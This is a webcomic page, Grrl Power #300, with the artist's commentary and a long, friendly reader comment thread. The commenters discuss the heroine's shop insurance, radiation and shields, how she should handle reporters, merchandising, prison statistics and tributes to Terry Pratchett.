Grrl Power #300 – Absolute leverage leads to absolute extortion
A curiously innocuous page 300, considering that 100 was Dabbler’s introduction to Sydney and 200 was the start of the fight. Silly humans and their need to celebrate round numbers.
It would seem that the store might experience a slight uptick in sales in the foreseeable future. This is just the early bird reporters too. (ooh I forgot to draw the people looming outside.) Given the store’s previous history and sales records, it’s possible their inventory will be depleted by the weekend if not sooner.
Not a whole lot else to say about this page really. Oh, the poster on the wall behind Sydney is for the webcomic Superbitch (which actually has a book out, so it makes sense they’d have it in the store) The poster was fairly prominent in the middle panel until I added in the balloons and orbs. I’ve linked it a few times and it lives over in the “Webcomics I Like” block. When Maxima is feeling grumpy she probably goes and kicks around with the title’s main character. They’d probably get on well enough but eventually they’d piss each other off.
Here’s the link to the new comments highlighter for chrome, and the GitHub link which you can use to install on FireFox via Greasemonkey.
SuperheroThey're super, thanks for asking!
Meatspace ComicSeriously these are awesome. Check 'em out!
Not UpdatingNo longer updating or only updates sporadically, but definitely worth reading.
SeriouslySeriously you guys. If you like Grrl Power the check these out.
"Mature"Mature subject matter and occasionally something explicit but usually safe. Can't guarantee the ads are safe though.
Dongs Ahoy!Full frontal and backal. Lots of skin, sex on some or all pages, explicit or otherwise.
40 of which Joel takes for the additional insurances to cover Sydney’s new other job and related hazards.
Yea, whether you are kidding or not, you are right. Their shop insurance premium will now probably be higher than the value of the shop! And, yes, that can and does happen, under certain particular circumstances. One example being where a series of space payload launch rockets failed. It was deemed that the next was more likely to fail than not. And, as there would be additional insurance costs over and above the total value of replacing the rocket, the premium significantly exceeded it’s value.
In this case the insurance companies have no idea of the risks so most will be disinclined to offer insurance until there is some basis to calculate actuarial tables. But, the more ambitious, will be willing to stick their necks out, in order to gain recognition in an emerging market.
In this case though the statistics are appalling. Sydney has been an official member of Archon for less than 24 hours and has already been involved (by association) in the destruction of a restaurant, and a significant chunk of the surrounding commercial estate! The math works out that statistically her shop is more likely to be destroyed, just due to her proximity, than not!
Ok, logically she is unlikely to destroy a shop a day, but until the market jitters die down, and a few days go by without another attack, they will have to pay an extortionate amount to keep their various insurances running. The public liability one being the worst. Gradually the premiums will normalise, as the market gets bigger (other businesses rushing to get their own cover), and more evidence as to ongoing risks can be fairly assessed.
Hopefully though, part and parcel of her deal with Arianna (probably prompted by her pointing this factor out), will be the subsidy of such extra costs, by Archon and/or the state. Although Sydney may be unique in also owning a shop (on the Arc-SWAT team anyhow), there will be similar issues for all the team, and folks associated with them.
She can make a nuke proof shield large enough to enclose her shop. It could also be the safest place in an Armageddon scenario.
She had that capability at the Steak House too. Although it is currently known as “the big pile of rubble”.
She doesn’t really need a shield or such over the shop, after the video from the bank, anyone will be able to put together that ruining her place (home or shop) would be in for a lot of pain.
I mean she’d probably find where they live and have her favorite food brought there, and eat it outside their place, that should be more then enough to get people to not attack her home or business.
that’s never really stopped villains from doing things, anyway; in fact, it’s sometimes outright encouraged them to do so
Yes because classic comic villians are idiots. Which has yet to be conclusively shown either way in Grrlpower.
Super construction guy showed a sensible decision. Namely deciding to become an ex-villain, when he saw Maxima was the new girl, on the block. Similarly the super hairdresser. Even though he was actually a victim of the aggro-aura, rather than a villain.
For that matter, Vehemence himself, saw the writing on the wall, when he had backed Arc-SWAT into a ‘surrender or we kill you’, corner. Plus his seemingly meaningless initial plan, of just picking a fight with the cops, actually turned out to have clever reasoning, underpinning it, given his power set.
Of course, he did feel the urge to tell his evil plans, but what is the point of being an all-powerful megalomaniac if you are not allowed to gloat? The genre does have some tropes which make sense, if you view them from the emotional perspective of the villain. Rather than from the sidelines, as a genre-savvy taunter.
Can I just say that I love how you comment with your readers and discuss things with them? I could swear I’ve seen you change some of your ideas sometimes. This is the most user-incorporated comic I’ve ever seen. I love it! :)
*blushes*
I yack a lot, yea, but DaveB is the author. However, he does read all of the comments, and does engage, on key ones, so you are very true in saying that.
Whilst I was an early reader of the comic, I never liked forums. So it was only because Dave was so engaged and the fact that it was a very friendly and interesting community, in it’s own right, that tempted me to join in actively myself.
As you say there is a lot of feedback into the comic though. For instance Dave might ask for advice on areas that he is not familiar with, such as military practices or firearms. Which can get many pages of response. And that is then incorporated into the comic. As can some ideas or feedback from general comments.
The comic has a heck of a lot of very experienced individuals, from all sorts of walks of life. Be it the military, police, coast guard, physicists, anthropologists, mathematicians, lawyers and more. Being especially rich in artists and writers, as you might expect. So we have a vast pool of expertise to tap into.
As for me, yea, I view a debate as an opportunity to learn, not just to win a point or get a message across. If I am in error about a something, I am happy to be corrected. But, if somebody can convince me to change my viewpoint on a substantive issue, then heck, the day has been good!
Something I was convinced of yesterday was wrong. Today I am better informed. And tomorrow, that knowledge will serve me well. Be it in just another debate, or in something that might affect me in my day-to-day life.
I try to give some of that back to the community, if I see an opportunity to do so. It is heart-warming to be part of such a vibrant group.
To be fair, Yorp does comment a bit more than I do on most pages. I’m busy drawing. :) But I still pop in every few hours to catch up on new comments. But yeah, I’ve incorporated some ideas from readers, and I often ask advice for areas outside my expertise, especially military stuff. My own expertise really is just limited to nerd lore. I’m decent at Street Fighter and Quake 3 too. :)
“a bit more”? Number 193, panel 1, Sydney’s thought bubble. Just to be clear: good to have you around, Yorp.
Not sure whether DaveB has said she could make one that big or not, but the problem would be maintaining it 24/7 until radiation levels dropped below unsafe levels.
Small detail of having to breathe in an air tight envirioment
As long as she keeps changing her position, the air inside would be refreshed. I seem to remember reading that when she moves, the shield reforms instantly in the new location to keep her in the center. Thus, her displacement would cause the shield to essentially expel foul air and include fresh air.
A huge shield that encompasses the whole shop would contain quite a bit of air, so it wouldn’t need to be refreshed for a while.
no, it would reform with CONTAMINATED air…
the shield (as far as we know) doesn’t MAKE nor FILTER the air inside it because if it did, then she wouldn’t have gotten stale air during the fight, and she had to drop it completely to get NEW air… which came from the spot she was standing at… therefore if the air around the shield is contaminated by whatever, then if she drops the shield to replenish it, it will get filled with bad air when the shield reforms…
Long-term fallout from nukes is more likely to be in the form of solid materials than gaseous. The biggest danger of radioactive materials in the air itself would be from dust particles, which you could at least hope would settle down onto the ground before you need to drop the shield.
The key distinction that needs to be made is between radiation and radioactive materials. One emanates from the other, but extremely short-term exposure to radiation while you drop the shield and refresh the air is less of a danger than getting radioactive materials inside the shield would be. Additionally, you can block radiation by briefly sitting inside a lead-lined closet while you drop the shield, wait for the air to refresh, then re-pop the shield and safely leave the closet.
This could easily be fixed with $200 worth of potted plants set up around the shop in sunlit areas. By the time the radioactive particles settle on the ground the shop will still have enough clean air to survive in.
NASA Clean Air Study
Plants that eliminate radiation
Pro tip If mildly concerned about this, print out, or make notes now. The electromagnetic pulses caused by atmospheric detonation of nuclear weapons could render you unable to access such information via the internet.
Well, I guess that might also happen if the servers hosting that information are turned into pools of radioactive sludge.
Pro tip 2 If seriously concerned, buy your plants now. Nuclear winter plays hell on day trips to the garden centre.
Pro tip 3 Chill. Don’t worry your life away.
Or you could get dabbler to give you a spare gamma radiation eating space creature, put it on a stick, and become a nuclear shaman!
This.
We need more shamen who can properly treat radiation problems…
Funny thing… Mineral springs that were deemed to be healthy or even contain some level of healing properties were found to have trace amounts of radioactive materials dissolved in the water.
Cue fad to expose oneself to regular doses of radiation to cure all that ails.
Oddly enough, despite decades-old charts to the contrary, such minimal exposure is not actually dangerous. The scientists who designed them only had the data from Hiroshima and Nagasaki to work from. The risk of death followed a predictable decline the further away people were from the blast and the fallout.
So their chart follows that all the way down to the trace exposure levels.
Trouble is, that it does not hold true under modern investigation. For example, some regions have a naturally higher background radiation, because they sit on granite, yet they have no higher mortality rate from the radiation.
Early studies did seem to show a correlation. But those were found to be statistical clumping, which were no more common than in lower background radiation areas.
Where there is some risk, it lies from houses with cellars actually in granite itself. But that does not come from the radiation, but from the accumulation of radon gas. Which can lead to increased risks of lung cancer. But that is not itself radioactive, and can be vented away safely, as it is a naturally occurring gas we have in the air anyhow.
Even granite quarry workers face no risk, from radiation.
Of course get too high above such levels, and you will reach the point where the graph does hold true. So those working with low-level radiation in hospitals, for example, do still need to take precautions to avoid over-exposure.
But, now we get into the best twist. It may actually turn out that, the breakdown in the predicted pattern, at the lowest levels, is happening because that amount of radiation is stimulating our bodies defence mechanisms. And a more active immune system can indeed help cure a variety of ills.
“Radioactivity cures” —> “Radioactivity kills” —> “Radioactivity cures”
But, I will wait until there has been a wider body of research into the latter, before I rush out to take a dip in radioactive natural springs!
Unless they already have insurance. In which case the company can suck it, price is already set.
Come talk to us again when something changes that’s actually detailed in the contract
Go grab hold of your insurance documents. Any one at random. Car, house or whatever. You are required to notify your insurer if your circumstances materially change. If you fail to do that, you are off cover. No excuses. Make a claim and you are uninsured.
This is the kind of thing that people whine about insurance companies trying to ‘wiggle out’ of a claim. But they have no way to know if you become a higher risk. If you know that something has changed, in your life, that may affect their decision to insure you, then you are obliged to tell them. Fail to do so, and they will only pay out if they are feeling charitable.
Arianna will have advised Sydney to do that, and will have organised alternative insurance if her company declined, so it is not an issue. Had she failed to do that, their shop would currently be completely uninsured. No matter what the expiry date is on the contract.
Insurance companies do allow for a period of time to report such changes, typically within 30 days. Since Sydney didn’t sign onto Archon until some time mid-afternoon yesterday & the store isn’t even open for business yet, it’s been less than 24 hours. Sydney & Joel still have time to make that report.
Incorrect. You are mistaking that for the grace period in which to pay premiums. That can often be 30 days. However some contracts might only allow as little as 24 hours.
Notification of material change must be made as soon as is practicable. If you are in a remote location, on holiday, you would indeed be allowed a longer period to make such notification, as you would have to get into a position where you could make contact. Likewise, if the insurer did not operate a 24 hour hotline, you could only inform them in business hours.
Just apply a little logic, to see the truth in this, and the reason behind it.
If you get notified by your optician that you are borderline blind, you had better pick up the phone and call your insurer before getting in your car, to drive home. It is within office hours, so you have no excuse.
If you choose to drive, whilst knowing that you may not be safe to do so, then that is an unreasonable risk, that the insurer should not be expected to foot the bill for. Not without the opportunity to re-assess the terms of the contract, or demanding an independent assessment of your fitness to drive, or even to decline it outright.
Of course, if you are lucky enough to have an insurance company stipulate that you have a set period in which to make such a notification, then sure, they have agreed to that, and you can stick to the terms of the contract. But do not assume that your company is that foolish, until you have actually checked the terms and conditions.
that and that the insurance company is going to do everything in their power, legal or not, to avoid paying you ANYTHING (it’ll hurt their profit margin if the do)… that’s just one of the many reasons that medical bills are so frickin huge, the hospital HAS to charge massive amounts because they only get a very small percentage of the total bill out of the ins co. therefore if the bill is huge, they get more, even though the ins. co whittles away at how much they’ll ACTUALLY pay, little by little, so that even though you are “covered” that coverage is beginning to not amount to squat, leaving YOU to pay the rest… and the hospital can’t change the value of their services that they charge you, otherwise they would get nailed for gouging the insurance company… therefore WE get those huge bills that nobody can pay back unless you are a billionaire.
Only if you have a disreputable one (and they do exist, so I am not arguing, on that score). But there are enough good ones that you will have no trouble finding them, if you check into their reputations. The good ones know that they can be honest, and still win.
There is an analogy to bookies. The clever ones will always ensure that, no matter what horse wins the race, that all the winnings are paid from the takings they get from horses backed by other punters. At the end of the day, all the costs are covered by the customers. But the winners get paid out promptly and with a smile.
Of course, they have to take precautions in case there are some fluke results, which defy the predicted odds. But there is a whole industry covering the laying off of such risks. As such, only greedy, disreputable companies attempt to wriggle out of their obligations.
So research their reputations, at the time you are choosing your insurer. The lowest premium is not always the best company. And, be sure to check what limitations may be placed on claims at that time too. Ensure that you are comparing like for like. Very often a lower premium means a lower payout. If the customer chooses the worse option, that is not the fault of the company.
When talking medical insurance, I very much feel for Americans. It is just the same here, in Bulgaria. People die here for a lack of even relatively simple treatment.
Contrast that with the UK National Health Service though, and the difference in quality of life is immeasurable. I was happy to pay my national insurance, even when I was lucky enough to be in decently paid city jobs, which had free medical insurance thrown in as a perk. As I knew that such would only last whilst I was in the job.
But I could still live care-free, in the knowledge that, should I loose my job, I will still be cared for, no matter what. So find myself sympathising immensely with American and Bulgarian friends, who are currently struggling through life-threatening conditions, without that support.
Of course, Brits always grumble about the NHS, and waiting lists, or the like. And some of it is justifiable, but, all other things being equal, I would prefer to live under that system, than any other. Barring a couple that are only available in non-English speaking countries. And my language learning skills are too rusty to want to go through that again!
Grrl Power forums: come for the superheroes, stay to learn something educational about insurance policies…
Rofl. Point taken.
Wait, this isnt the national insurance association forum page?
Dangit.
:-P
My points were valid responses to topics raised by others. And we were all remaining within the (broad) topic of ‘financial matters, in the real world’ provoked by the above comic.
But, yea, insurance is dry stuff. I feel bad!
I do have one consolation though, in the thought that if just one member of our community amends their misconceptions, I could have saved them from potential financial ruin, in the future!
The insurance companies do not care if people fail to notify them, as they know courts, the world over, will support their position. I was speaking to the victims in the equation. Every day folk, think that regular contract law, and the consequent assumptions, apply in these situations. They do not. And the people are the ones who end up suffering.
But, for anybody who has made it through my dull comments, in this thread, here is an interesting snippet. Inspired by Arklytte‘s comment below.
If you read through it, and the link provided there, you will see a very interesting situation, with profound implications for this community. The comic mentioned thanks DaveB for the cameo and plug. And then goes on to show the spike in their web traffic. Eyeballing the graph, it looks like a jump of about 20,000 viewers!
If there is no other cause for it (and I can see no mention of anything to the contrary there), then it means that at least 20,000 read all the way through Dave’s comment at the very least. And probably a lot more than that, as not all will have clicked on his link. If they read that far, then they might well read further too…
*cries*
I could have bored over 20,000 Grrl Power fans, with my insurance talk! All I can do is hope that more than one or two might be able to avoid financial ruin, if they did not fall asleep, or log off, because of the zzzzzz…..
WOOHOO!!! I inspired someone!!! :)
PS: Just for that, I read through this thread and all your insurance info Yorp. :D
300 nice!
though I can’t help but think that’s only in our decimal system/collective perception of milestones.
hexadecimal 0x12c or binary 0b1_0010_1100 (this notation is valid in perl)
so we should have celebrated #256 aka 0b1_0000_0000 https://www.grrlpowercomic.com/archives/1504
maybe that’s just profession-deformation (I work in software, embedded systems, similar like web developers know #FF0000 is red).
or maybe if you play https://gabrielecirulli.github.io/2048/ to much (I have a 64K (65536) block, I cheated though)
P.S: That has me wondering what kind of things supers would face so often it becomes automatic?
the obvious is treating every problem like a punching-bag, but beyond that, always looking where it would be safe to punch/shoot someone into?
like some people are always looking where the emergency escape/back door is.
P.P.S: I don’t even have ADD, I think.
P.P.P.S: did anyone read secrets of a d-list supervillain yet? I thought it was kinda “redundant but nice”.
It’s the 3rd book in the d-list supervillain series, but it covers events we already know plenty about imho.
It could have easily be left out altogether of course the characters would talk about it but the reader wouldn’t have had to. Did get me rereading origins and confessions (of a d-list supervillain) again which was also redundant but nice.
I hope the 4th book which will apparently be coming will be better!
You are a mighty peculiar colour for a Robin? Unless that shirt is covering up a red breast, I cry fowl!
both me and my avatar have a hoodie though, does that help?
Yes, it makes me very merry! I shall give Wolf Whacker, my quarterstaff, an extra twirl tomorrow, when I am out on walkies. And I just heard a pack of wolves howling, nearby, just a few minutes ago. So it is quite topical.
*wags tail happily*
You have a quarterstaff named ‘Wolf Whacker’….
You’re really trying to force me into making Furry jokes, arent you.
*runs claws through fur*
I iz furry. And you thinks I iz funny too? Thank you!
*jumps up, to place fore paws on Pander‘s chest, licking face*
So, that means your full name is Robin Hoodie?
:P
Perhaps he should number the comics in binary so that “Silly humans (could fill) their need to celebrate round numbers” every other day.
We “silly humans” don’t restrict our celebrations on round numbers only…Every one of us has a birthday to celebrate & that’s every year, not just on “round number” years.
;)
Some only get to celebrate once every four years. A bit unfair that they do not also get to age at only a quarter of the normal rate!
I feel sorry for those people. In states where the legal drinking age is 21, they already look ready for Social security before they can order up at the tavern…
Something tells me Sidney is going to get in trouble.
She never said she would answer their questions. She just told them to buy stuff or be kicked out for loitering it is her business.
She will stop selling stuff then as soon as she shows that she isn’t answering the question of that first gent. (a question she probably doesn’t know the answer to or the proper public answer to anyway)
If I were Sydney I would offer to answer only questions about my likes and dislikes… for one purchase a piece. The quality and depth of the answer would be related to the value of the item bought.
You can’t get much safer than that… and such info is still valuable to an information starved media desperate to get ahead of the biggest story of the decade… AND it would humanize these very scary people with very inhuman abilities (a win for Arianna).
That said… cue Syndey sticking her foot in her mouth up to the knee in 3… 2… 1…
You are correct. I think the implied trouble though is also about talking Archon business in front of the cameras. But, given that Sydney is doing her best to keep her points positive, I doubt she will have to face any repercussions. Other than a tedious lecture on the correct protocols. Any fall out from the media attempting to put negative spin on her comments will just have to be fielded by Arianna.
I suspect that Arianna is going to ask Leon, Arc Light and Dabbler to come up with a continuous Halo monitoring system.
X (voice from Arianna’s PC): Halo paparazzi alert!
Arianna: Give me live feed… Uh oh. That is a big time character-assassination pap! Maxima, I need a lift to Sydney stat!
Maxima (reply indistinct): …
Arianna: Forget about that, I am sure the embassy can be rebuilt! Halo Paparazzi CODE RED!
The answer to that question is simple. “That’s classified”
But that answer will not give the reporters satisfaction
… which may be part of the intention.
A better answer than “that’s classified” (because it might not be), would be “I’m just a recruit on my first day, so I’m unable to answer your question, if you want an answer, I suggest you ask Arianna at Archon, as she is better equipped with answers, while I’m just a newbie.”
I would prefer “that’s classified” because then she can start extorti— I mean charging, for the next question faster. Better yet, “no comment” has even fewer syllables.
All in all, it was a pretty stupid question, though. One would think that someone would have clued him in that since she had been with Archon for less than 24, they probably hadn’t told her yet.
It’s a good question. it is, however, addressed to someone whom probably doesn’t know the answer to it.
I meant a stupid question to ask Sydney rather than in general, although I thought that would have been clear from the context of my comment.
Sydney: Like I said at the news conference: I don’t know how to military yet.
Given the way Sydney went all motor-mouth with Suzie News at the bank, I have a feeling that she’s much less likely to say “that’s classified” (or some variation thereof) than to launch into a long, rambling, and completely fictitious answer that leaves the reporters begging for her to stop.
So I says to Mabel, I says …
Perfect answer Sydney could give to the reporter about their question, “Its Classified”. I think that would go better than pointing out that she is technically still a cadet/recruit/trainee and probably wouldn’t be told anyway.
The normal answer would be “no comment” or “ask the Archon media representative”. Sydney being Sydney, I doubt we can expect the normal answer.
No comment is generally frowned upon by the military. To many ways it can be bent and twisted by the reporter. Referral to a Arianna’s office would be the proper response. But like you said, we are talking about Sydney.
PR dictates the response would be whatever you think puts you in the better light.
“Sydney, is it true you once set fire to a national forest?”
“No way!”
“Sydney, is it true you once dated Brad Pitt?”
“No comment.”
“No comment” is still appropriate, but it’s just the shorter version of “I can neither confirm or deny anything you ask of me.”
Yeah, I was was in that same kind of position when I was in the Navy. That was our Official Instructions for handling anyone outside of our own specific Security Clearance.
yeah, i was a fan of the Navy’s “we can neither confirm nor deny the existence of nuclear weapons aboard U.S.Naval Vessels” that i had to memorize for standing quarterdeck watches.
Yea, I have exactly the same policy for my household defensive systems. Well, except for the “aboard U.S. Naval Vessels” bit. That would not make sense at all!
However, as y’all are such good friends, I am happy to tell you about one of my more visible defensive systems. Just don’t tell anyone!
I haz a dragon! Really! And it has done a flawless job, for years.
whats his name I may have seen him around sometime? was he the one who taught our wonderful puppy to talk?
I haven’t actually asked him. He is not a talkative sort. He just sits there and glowers at any intruders! But that does seem to deter any thieves, very effectively.
You probably have not seen him out and about though. He is very dedicated to his job and guards my house 24/7 and 365.25 days a year.
My Rate didn’t have anything to do with nuclear *anything* but still involved handling classified materials (no, I won’t even specify what kind of materials), so everyone in the Rate had to have clearance.
Besides, even though I’ve been out for over 20 years, I still don’t specify anything.
Sydney’s reply to any questions that she can’t answer should be “Fnord.”
I bet Arianna would be proud!
Just noticed the missing choker in the 1st panel.
It’s also missing in panels 3 & 4.
Wait, why is Sydney wearing her choker? She’s not on duty.
She needs it to use her pip-boy’s communicator. Clearly Maxima has given her time to sort out her affairs. But may have stipulated that she stay in touch. POSSIBLE SPOILER: Possibly X cannot fly, and they do not have any flying minders to monitor Halo.* So it is also being used as a tracking and monitoring device.
If there is a problem (be it her end or theirs), Archon can call her in. Likewise, providing she remembers to keep it charged, now that she is flying around, she needs it for the GPS capability. On duty or off. Ok, she could just use the Pip Boy, in isolation, for that. But, if she is going to have the one on, she might as well use the pair.
And, of course, it is cool. Of course she is going to want to wear it. I suspect (due to the reasons cited above), that the choker will be classed as equipment, rather than uniform, in Archon regulations. So that she will not be considered to be violating dress code, by wearing it whilst off-duty.
MORE POTENTIAL SPOILER:
* If Dabbler has one, you can be sure Sydney does too. I wonder how long it will be until she realises that, and at least asks if she does. Although it might be why she is doing periodic True Sight sweeps. Those would be useless for detecting ninjas, using mundane concealment and disguises.
Should anybody wish to respond, incorporating spoiler mode, this is the format:
[spoiler]Message to be concealed.[/spoiler]
Pay particular attention to the fact that you need to end it slightly differently using the “/” in front of “spoiler”.
One other thing to be wary of is that each paragraph needs to be enclosed in it’s own spoiler text, if you need to hide more than one. Each time you hit the “line break” button (aka Enter) you are creating a new paragraph, for this purpose. Even if it is just separating single sentences/ lines.
As for the GPS navigator, she didn’t appear to be using that function earlier. She needed to ask directions, didn’t she?
Dabbler is both an alien and a demon, and also is a “civilian”, as opposed to the rest of them who have actually signed up. Any of these on their own could be a reason to give Dabbler a minder, superpowers or no. They’re not going to put a minder on every active super, and I doubt they’d put minders on just the members of their own team either, so I don’t think it’s an issue for Sydney.
She tried to use it, but realised it was not charged up. Possibly the shop and/or camera crews did not have a suitable re-charger either. So it still may not be.
In which case Arianna could be screaming into her Archon communicator, right now, trying to tell Sydney to stop talking, in front of TV cameras. Probably turning various amusing shades of purple, yellow and orange in the process.
Being an alien does put Dabbler in an unique position, so you are very likely correct. However such surveillance might be considered necessary for any hero, who is either a potential risk (be it for Gwen Stacy scenarios, PR purposes or under suspicion, for some reason), or who is an unknown, who has not been properly investigated yet. Sydney wins on two counts there. Or four, depending on how you count it!
That’s when they give a fresh, fully-charged battery pack to Harem to take to Sydney immediately, maybe with a laptop that’s pre-configured for secure teleconferencing.
However, these presume that what Sydney’s saying is being broadcast live, rather than being recorded for editing (due to her profanities) and later release.
This page made me laugh out loud!
I was wondering how long it would take before she started doing this, but her reaction made it for me,
Just as soon as she was in a familiar setting that reminds her that that type of thing often goes on there. :)
Yeah, her face in the last panel is as horror-inducing as the all-consuming hunger as she looked down upon her second lunch yesterday…
https://www.grrlpowercomic.com/archives/697
The girl sure does have that
horrorcuddle-inducing hobbit-like attitude to life.If one of the news stations was smart, they would take one of their more friendly yet nerd literate staff and send him or her into the shop as a customer after the crowd thins out. (s)he could then ask a few questions about what new issues were in etc. and strike up a conversation with Sydney. This would be steered eventually to the topic of ‘Did you really fight a whole group of supervillains last night? What was that like?” If the station treated it like a ‘gotcha’ interview with a hidden camera they could get a short term ratings bump. If the person admits to being a member of the media but actually tries to make it a long term friendly commitment, they could get an inside scoop on the ‘behind the scenes’ activities of ARC.
P.S. This same tactic could also work for any foreign espionage agency trying to get some information out of her as well. So Sydney, if some tuxedo wearing Brit drinking a vodka martini tries to get a little too friendly, give him the old heave-ho with the lighthook.
The difference being that reporters don’t have a license to kill.
they already have a press pass… that’ll get you the license to assassinate your Character at anytime after that…
In that respect, they’re even worse in an RPG than in real life…
yeah, RPG’s can sometimes MISS…
oops… i misread that… i thought you wrote about Rocket Propelled Grenades… not a Game… but ya’ know, it STILL kinda works?!
A Press Pass as a “license to character assassination”…In a role-playing game, a reporter can be lethal for your character…
Nice wordplay.
I think the real threat here is two-fold. She might get too mercenary and start selling off quotes and such for purchases, which could get her into trouble fast if she says the wrong thing, like commenting on the fight and what will happen to the guys who got caught. Or just cause a bad reputation spike for archon when it gets around that a member is openly selling information.
Hey Dave, I know this is kind of an inane question, but will Monday’s strip have anything to honor Sir Terry Pratchett? He… well, he’s gone on to that endless night.
Oh no, that is sad. Another great talent lost. He is one man who I feel sure will have a friendly, if caps locked, greeting, and escort, on the other side.
Check his twitter…
Farewell to Sir Pratchett. He gave me (and millions of others) a great many hours of literary joy and many wonderful quotes. The world is a better place for Terry Pratchett having been here with us.
He has given the 202 bookworm many shelves to navigate in L space.
Sadness. RIP Sir Terry.
Unfortunately not, there are too many people I’d like to do some sort of tribute to these days.
I think XKCD did a sufficiently wonderful tribute to cover for everyone else.
This is a crossing point. She tunrs corporate evil in the last panel *snort!*
That’s the way Sydney. Now grab a chair and sit at the counter holding your phone beneath the counter and use it to text Leon the questions and have him feed you the Arianna approved answers back. Make tons of money by selling merchandise for public non-answers they could have heard from anyone back at base!
They need to order more comic stuff and like they could order a bunch of featureless glass balls for Sydney to sign.
https://www.nauticaldecorstore.com/Details.cfm?ProdID=558&gclid=CMnwlNDHo8QCFfRj7AodInIA2A
I suppose she will need special markers for that?
Tut, tut, tut! Arianna would only approve safety-grade plastic, not glass. She wants to be able to sell the orbs to kids ya’ know. But I’d be willing to bet that Ari would let Sydney’s store get first-deliveries for stock…
:D
Kids are so wousey these days! (but it would be an adult product anyway. One the kids could later emulate with their wimpy little plastic balls )
Section #3 of THE CONDITION.
I’m sure they could just contact the people behind the Fushigi for merchandising. Just gotta add some colored ones haha.
Just wait until she starts selling her own line of merchandise.
She’ll have to check with Arianna since I know ARCHON clearly has the right to sell merch related to the super side of her persona and Sydney may have signed away her right to do the same unless it was one of the little add-ons they discussed off camera.
it probably was. it wouldn’t make a whole lot of sense not to stock ARChon merchandise in a store partially owned by one of their supers. Arianna strikes me as too shrewd to pass up an income multiplier like that.
I kind of figured her one condition would be that all archon related products would get an initial exclusive release at her store first. Afterwhich they can then go mainstream.
If she signed away the rights to her own likeness (Super persona and non) then she has signed away any respect from me
Considering the brief period she, a layman, looked over that contract and the fact that Arianna may have a different definition of what would be in Sydney’s best interests that she should probably check. I know Arianna expected to have at the equal right to make her own decisions about merchandise from Sydney’s super persona. But yeah, if ANYBODY would remember to think about those rights in a strange upheaval of their lives that day way then it would have to be someone who sells such things every day (well, deals with it every day anyway) so you would think Sydney with her money concerns driven home that morning would do so. (but in moments of stress/excitement I’m sure stranger things have happened)
Nice to have a prediction come true right On #300 ^^
You forgot Halo’s choker in the first panel.
Spirit bomb?! That trick never works!
Argh! The posting software removed several things, and won’t let me edit!
Imagine that said in Rocky’s voice to Bullwinkle.
Avoid ” < ” and ” > ” around your comment. Use [square brackets] or (parenthesis) instead.
It beat Buu, didn’t it?
Someone needs to point out to that reporter the fact that Sydney, having been recruited by Archon literally yesterday, is probably not the person to be asking about Archon’s plans about anything. If Archon has a super-prison set up, what are the chances anyone actually got a chance to tell her about that on her first day, considering all the other stuff they had to brief her on?
But if you do that then you can’t sell him aging stock at a big markup.
Won’t you think of the ch-err bottom line?
Since when has America ever worried about the cost of incarcerating prisoners? They have the biggest prison population to date!
Not to mention that using supers to oppress others including supers shoots that first point full of holes.
And about the concentration camp thing. That hasn’t stopped America from doing it twice before. First during WW2 for all the Japanese Americans. And second for lots of other people at Guantanamo bay. Course they had to outsource for that one.
Guantanamo bay is a prisoner of war camp, not a concentration camp.
That is an issue of semantics. There were several concentration camps in WW2 that simultaneously held civilians and POWs during their operation
Without checking up the precise definition, I suspect that the distinction lies in the words themselves. It is the sheer numbers that count. Concentrating a large number of people into a single camp. That was certainly the intent of the concept, when Britain pioneered it. Which is when the turn of phrase was coined.
Albeit that such practices had been going on for centuries prior to that, just not under a guiding principle. Typically such were directed at prisoners of war though, so there is a strong association with concentration camps being used for civilians.
I’m pretty sure that some of the prisoners held in Guantanamo are/were not enemy combatants, so semantics.
still it’s no better then a gulag
Well it depends on how you’re doing your metric. America has the largest total prison population, but prison population per capita has America at number 2 currently.
https://www.prisonstudies.org/highest-to-lowest/prison-population-total
This page lets you sort current statistics. Rate is per capita (per 100k) and Total is the total head count. I prefer per capita statistics because it allows you to see an amount adjusted for the number of people in the country. For instance, China is number 2 on total, but it’s number 124 in a per capita sense.
Heh. My first thought, on reading “per capita”, was to consider the situation of a very small country, which only existed on a technicality. Let us say a household which declared independence, and had not yet been re-conquered.* A four person household, with three of them locked in the cellar, would top that list.
Mind you, I was not too far off the mark. No disrespect to them, but the Seychelles are not exactly the biggest country in the world!
And rather ironic that the USA is sharing the top 10 with Rwanda and Russia. Not the most esteemed company to be keeping in a metric. Mind you Putin seems to be keen on a method which does not involve taking prisoners…
* Much like the United States of America, come to think about it. Although they have been formally recognised by Britain, for various purposes, for quite a while. So no need to be heading for the hills and digging in, just yet.
Such a situation, with the household of 4, on that chart, would be something like 75,000 per 100k… Nevermind that they don’t even have anywhere near 75,000 people, let alone 100k.
As for America being a household that had not been re-conquered, Britain tried and lost, miserably. When it comes to these sorts of things, you can only retain sovereignty over that which you can defend. If a government cannot defend territory it claims against insurgency or invasion, then its claim to sovereignty is illegitimate and amounts to little more than a child stomping its foot and saying “it’s not fair” while pouting in a pathetic manner.
Ahh, a proponent of the divinely granted right to rule by conquest. Whilst there is a certain truth to what you say, at a practical level, it does not bear moral scrutiny. And does break down in a variety of scenarios and by comparison to other moral issues.
Before I go further though, note that my comments about the USA were strictly tongue-in-cheek. A population does have an intrinsic right to self-determinism. Where possible this should be achieved by peaceful means. America chose to do it violently, which is a moral low path. But it achieved the results they desired.
Gandhi chose a different path. With the same result. This alone disproves your argument. India had failed to defend itself by force of arms. Despite having the moral high-ground of wanting self-determinism. Centuries worth of sporadic armed revolt had failed to achieve that, yet one man in a loin cloth did. Through peaceful means.
I feel that Tibet has that same right.
And, if we analyse your statement, versus other standard moral precepts, it breaks down even further. Your line of argument would lead to rape being acceptable, because the woman failed to defend herself, for example!
One must never mistake the moral right for the practical capability to enforce that right. They do not always correspond.
Gradually the world is becoming more civilised, and less inclined to turn a blind eye to the rape of one country by another. The greater community should assist those with the moral right, where they are being subjugated, by others, using brute force to overcome their right to self-determinism.
Otherwise the country with the strongest army would have the right to do as it chooses to any other country. It does not. Something the USA, Russia and China should all bear in mind, each in their own way, today. Britain has been there and learnt the lessons the hard way. But needs to be wary, lest it forgets those too.
Even if America’s prison population per capita is ranking is number two that’s still good for the argument. That combined with the largest total prison population still shows that America isn’t worried about the cost of incarcerating people. Hell we relies people in prison back out in the streets because we don’t have any room to put them!
Never mind that the government has no problem putting innocent people in prison or on death row.
I think the point is that making enemies of superhumans is more trouble than it’s worth. Of course, since when did everyone go with the rational option?
Also this is a comic book shop. The place was built for loiterers.
They check in to a singularity, but they don’t check out…
